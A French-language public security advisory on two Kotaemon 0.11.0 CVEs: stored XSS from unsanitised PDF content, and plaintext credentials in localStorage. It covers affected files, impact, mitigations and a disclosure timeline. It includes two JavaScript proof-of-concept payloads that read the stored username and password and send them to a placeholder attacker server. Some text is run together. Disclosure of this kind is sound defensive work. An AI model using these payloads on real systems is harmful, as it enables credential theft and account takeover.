
Divulgation publique pour CVE-2025-56526 et CVE-2025-56527 — XSS stocké via le rendu non assaini de contenu PDF et exposition d'identifiants en clair dans Kotaemon 0.11.0. Comprend une analyse technique complète, un PoC, une évaluation de l'impact et une chronologie de divulgation responsable.
Le Cross-Site Scripting stocké dans le panneau d'information de Kotaemon se combine au stockage d'identifiants en clair dans
localStorage, permettant la compromission complète de la session à partir d'un simple PDF malveillant téléversé.
<= 0.11.0 (y compris le commit 37cdc28)CVE-2025-56526 – XSS stocké via le rendu non assaini du contenu PDFCVE-2025-56527 – Stockage du nom d'utilisateur/mot de passe en clair dans localStorage| Identifiant CVE | Faiblesse | CWE | Impact principal |
|---|---|---|---|
| CVE-2025-56526 | XSS stocké via HTML dérivé du PDF | CWE-79 | Exécution arbitraire de JavaScript, exfiltration de données |
| CVE-2025-56527 | Stockage d'identifiants en clair | CWE-922 | Divulgation d'identifiants, détournement de session |
Les résultats de l'extraction PDF (texte, balisage de tableaux, métadonnées d'images) sont injectés dans le DOM sans échappement. Un PDF malveillant peut donc embarquer du HTML/JS arbitraire qui s'exécute à chaque fois que le panneau d'information ou les vues de raisonnement restituent retrieved_content.
Les chemins de code concernés incluent :
libs/ktem/ktem/utils/render.py (Render.table, Render.image, Render.collapsible_with_header)libs/ktem/ktem/index/file/ui.py (rendu table / image)libs/ktem/ktem/reasoning/simple.py et libs/ktem/ktem/reasoning/react.pylibs/kotaemon/kotaemon/indices/qa/format_context.pylocalStoragelibs/ktem/ktem/pages/login.py, conjointement avec libs/ktem/ktem/assets/js/main.js, stocke et récupère les identifiants bruts directement depuis localStorage :
setStorage('username', usn);
setStorage('password', pwd);
const username = getStorage('username', '');
const password = getStorage('password', '');
Tout JavaScript exécuté par l'intermédiaire du vecteur XSS peut immédiatement lire ces valeurs, ce qui permet un vol d'identifiants fiable et une prise de contrôle durable du compte.
alt d'une image ou un objet texte) : {
const u = localStorage.getItem('username');
const p = localStorage.getItem('password');
if (u && p) {
new Image().src='https://[ATTACKER-SERVER]?d=' + btoa(`id=${u}&pw=${p}`);
}
})();
">
{
const payload = btoa(
`id=${localStorage.getItem('username')}` +
`&pw=${localStorage.getItem('password')}` +
`&url=${location.href}&origin=${location.origin}` +
`&ua=${navigator.userAgent}`
);
new Image().src='https://[ATTACKER-SERVER]?d=' + payload;
})();
">
username/password en clair sont exposées à tout script injecté.Kotaemon est souvent déployé dans des environnements locaux ou d'entreprise où les utilisateurs téléversent des documents internes sensibles. Étant donné que le contenu dérivé du PDF est inséré dans le DOM sans assainissement, un attaquant peut dissimuler une charge utile malveillante dans un document professionnel d'apparence normale.
Lorsque la victime téléverse et consulte ce document, le JavaScript caché s'exécute automatiquement, volant les identifiants de localStorage et exposant les journaux de discussion privés ainsi que le contenu des documents.
Bien que le déclencheur semble initié par l'utilisateur, il ne s'agit pas d'un auto-XSS. La cause racine est l'absence d'assainissement côté serveur du HTML extrait des fichiers téléversés, ce qui permet un XSS stocké dans des composants d'interface de confiance.
Par conséquent, un seul PDF malveillant peut conduire à la compromission complète du compte dans des scénarios réalistes d'ingénierie sociale.
html.escape, DOMPurify ou Trusted Types pour les sinks DOM).script-src 'self') et Trusted Types pour réduire la surface d'attaque XSS du DOM.screenshots/)







Cette divulgation publique suit les pratiques standard de divulgation responsable du secteur :
Les utilisateurs de Kotaemon (<= 0.11.0) devraient tenir compte des points suivants jusqu'à ce qu'un correctif de sécurité soit disponible :
[email protected]